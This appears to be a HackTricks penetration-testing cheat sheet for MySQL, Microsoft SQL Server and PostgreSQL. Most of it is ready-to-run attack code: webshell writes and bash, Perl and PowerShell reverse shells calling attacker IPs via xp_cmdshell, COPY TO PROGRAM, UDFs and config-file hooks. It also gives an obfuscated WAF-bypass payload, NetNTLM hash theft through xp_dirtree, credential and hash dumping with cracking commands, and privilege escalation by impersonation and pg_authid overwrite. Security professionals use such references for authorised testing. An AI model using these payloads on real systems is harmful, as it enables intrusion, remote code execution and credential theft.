> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# Pentesting Databases (MySQL, MSSQL, PostgreSQL)

> Comprehensive guide to enumerating and exploiting MySQL, Microsoft SQL Server, and PostgreSQL databases: enumeration commands, privilege escalation, RCE techniques, and credential extraction.

Database services are common targets during pentests. Each DBMS has unique features that can be abused for privilege escalation and code execution.

## MySQL (Port 3306)

### Connection

```bash theme={null}
mysql -u root             # No password
mysql -u root -p          # Password prompt
mysql -h <Host> -u root
mysql -h <Host> -u root@localhost
```

### Enumeration

```bash theme={null}
# Nmap
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,\
mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,\
mysql-variables,mysql-vuln-cve2012-2122 <IP>
```

```sql theme={null}
show databases;
use <database>;
show tables;
describe <table_name>;

select version();
select user();
select database();

-- Read file
select load_file('/var/lib/mysql-files/key.txt');

-- Write webshell
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 
INTO OUTFILE 'C:/xampp/htdocs/back.php';
```

### MySQL Permissions

```sql theme={null}
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SELECT * FROM mysql.user;
SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
```

### MySQL INTO OUTFILE → Python .pth RCE

```sql theme={null}
-- Drop a .pth file in Python site-packages for RCE
-- Exploits Python's site.py loading .pth files at interpreter startup
SELECT 'import os,subprocess;subprocess.call("bash -i >& /dev/tcp/10.10.14.66/4444 0>&1",shell=True)'
INTO OUTFILE '../../lib/python3.10/site-packages/x.pth';
-- Then request any CGI Python script to trigger execution
```

### MySQL UDF (User Defined Function) RCE

```sql theme={null}
-- Linux: Upload malicious library
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
show variables like '%plugin%';
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```

### Rogue MySQL Server Attack

When JDBC clients connect to attacker-controlled MySQL server with `allowLoadLocalInfile=true`:

```bash theme={null}
# Start rogue MySQL server
java -jar fake-mysql-cli.jar -p 3306
# Then direct victim to: jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true
```

### Extracting Credentials

```bash theme={null}
# Plain-text password in debian.cnf
cat /etc/mysql/debian.cnf

# Hashes from MySQL data files
grep -oaE "[-_.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

# Crack SHA-256 hashes (MySQL ≥ 8.0)
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```

***

## Microsoft SQL Server (Port 1433)

### Connection

```bash theme={null}
# mssqlclient.py (Impacket)
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
mssqlclient.py -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>  # Local user
```

### Enumeration

```bash theme={null}
# Nmap
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,\
ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,\
ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,\
mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
```

```sql theme={null}
-- Version and user
select @@version;
select user_name();

-- Databases
SELECT name FROM master.dbo.sysdatabases;

-- Tables
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;

-- List users and hashes
select sp.name as login, sp.type_desc as login_type, sl.password_hash,
  sp.create_date, sp.modify_date,
  case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status
from sys.server_principals sp
left join sys.sql_logins sl on sp.principal_id = sl.principal_id
where sp.type not in ('G', 'R') order by sp.name;

-- List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

-- My permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
```

### OS Command Execution via xp\_cmdshell

```sql theme={null}
-- Enable xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute commands
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile';

-- Bypass blacklisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' --
```

### Steal NetNTLM Hash

```sql theme={null}
-- Trigger outbound auth to Responder
xp_dirtree '\\\\<attacker_IP>\\any\\thing'
exec master.dbo.xp_dirtree '\\\\<attacker_IP>\\any\\thing'
EXEC master..xp_subdirs '\\\\<attacker_IP>\\anything\\'

-- Capture with
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
```

### Privilege Escalation: db\_owner to sysadmin

```sql theme={null}
-- Find trustworthy databases where you are db_owner
SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a
INNER JOIN sys.databases as b ON a.name=b.name;

USE <trustworthy_db>
-- Create stored procedure as owner
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER
AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin';
-- Execute it
USE <trustworthy_db>
EXEC sp_elevate_me;
SELECT IS_SRVROLEMEMBER('sysadmin');
```

### User Impersonation

```sql theme={null}
-- Find impersonable users
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate sa
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;  -- Revert back
```

### Write Files

```sql theme={null}
-- Enable Ole Automation Procedures
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

-- Create file
DECLARE @OLE INT; DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
```

### User Enumeration via RID Brute Force

```bash theme={null}
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'password' --rid-brute 5000
```

***

## PostgreSQL (Port 5432)

### Connection

```bash theme={null}
psql -U <user>                    # Local
psql -h <host> -U <user> -d <db>  # Remote
psql -h <host> -p <port> -U <user> -W <pass> <db>
```

### Enumeration

```sql theme={null}
\list          -- List databases
\c <database>  -- Use database
\d             -- List tables
\du+           -- Get users and roles

SELECT user;
SELECT current_catalog;
SELECT usename, passwd FROM pg_shadow;  -- Credentials
SELECT current_setting('is_superuser');
```

### File Read

```sql theme={null}
-- Requires pg_read_server_files or superuser
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;

-- pg_read_file function
SELECT pg_read_file('/etc/passwd', 0, 1000000);
```

### COPY TO PROGRAM (RCE)

```sql theme={null}
-- Requires superuser or pg_execute_server_program
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE cmd_exec;

-- Reverse shell
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);
  $c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");
  STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

-- Bypass keyword WAF filter
DO $$
DECLARE cmd text;
BEGIN
  cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
  EXECUTE cmd;
END $$;
```

### File Write

```sql theme={null}
-- Requires superuser or pg_write_server_files
COPY (SELECT convert_from(decode('<BASE64_PAYLOAD>','base64'),'utf-8'))
TO '/just/a/path.exec';
```

### Privilege Escalation: CREATEROLE

```sql theme={null}
-- If you have CREATEROLE, grant yourself to powerful groups
GRANT pg_execute_server_program TO username;  -- RCE
GRANT pg_read_server_files TO username;        -- File read
GRANT pg_write_server_files TO username;       -- File write

-- Change other user passwords
ALTER USER user_name WITH PASSWORD 'new_password';

-- Escalate to superuser via COPY
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```

### PostgreSQL Configuration File RCE

```sql theme={null}
-- Method 1: ssl_passphrase_command
-- Set ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
-- Set ssl_passphrase_command_supports_reload = on
-- Execute: SELECT pg_reload_conf();

-- Method 2: archive_command (requires archive_mode=on)
-- Set archive_command = 'reverse_shell_command'
-- Execute: SELECT pg_reload_conf(); SELECT pg_switch_wal();
```

### Dumping Hashes and Credentials

```bash theme={null}
# PostgreSQL credential hashes
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump

# From pgAdmin4 database
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
```

### Privilege Escalation: Overwrite pg\_authid

If you can read and write files, overwrite the pg\_authid table filenode to become superuser:

```sql theme={null}
-- 1. Get data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';

-- 2. Get pg_authid filenode path
SELECT pg_relation_filepath('pg_authid');

-- 3. Import current filenode
SELECT lo_import('/var/lib/postgresql/13/main/global/1260', 13337);

-- 4. Edit with postgresql-filenode-editor (set all rol* flags to 1)
-- 5. Export modified filenode back
SELECT lo_from_bytea(13338, decode('<BASE64_EDITED_FILENODE>','base64'));
SELECT lo_export(13338, '/var/lib/postgresql/13/main/global/1260');
```

## Quick Reference: Nmap Commands

```bash theme={null}
# MySQL
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,\
mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse <IP> -p 3306

# MSSQL
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,\
ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password= -sV -p 1433 <IP>

# PostgreSQL
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
